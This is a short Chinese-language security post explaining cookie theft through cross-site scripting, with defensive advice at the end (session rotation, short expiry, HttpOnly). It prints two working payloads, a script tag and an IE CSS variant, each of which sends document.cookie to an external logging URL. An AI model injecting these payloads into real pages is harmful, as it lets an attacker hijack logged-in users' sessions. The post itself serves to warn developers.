窃取网页浏览中的cookie值

下面的的 JavaScript 代码就可以窃取Cookie,是不是很简单?

<script>    new Image().src =        "http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);</script>

如果我可以将这段代码插入到某个登陆用户的页面,则Cookie就会通过 HTTP 请求发送给我,然后我就可以伪造那个可怜的登陆用户了!

在 IE 浏览器上,可以通过在 CSS 代码中执行 JavaScript 来窃取Cookie,也很简单。

<style>.getcookies{    background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');}</style><p class="getcookies"></p>

如果你对用户发布的文本内容不进行严格的过滤的话,黑客就可以很方便地窃取Cookie。是不是很可怕?如果你是一个负责任的开发者的话,你就应该保持警惕!因此,你必须假设所有用户的Cookie都被窃取了。注意,是所有用户,对于这一点,我不想含糊其辞。

为了保证安全:请不停地重设session的重设;将过期时间设置短一些;监控referrer与userAgent的值;使用HttpOnly禁止脚本读取Cookie。这些措施并非万无一失,但是增加了黑客的难度,因此也是有效的。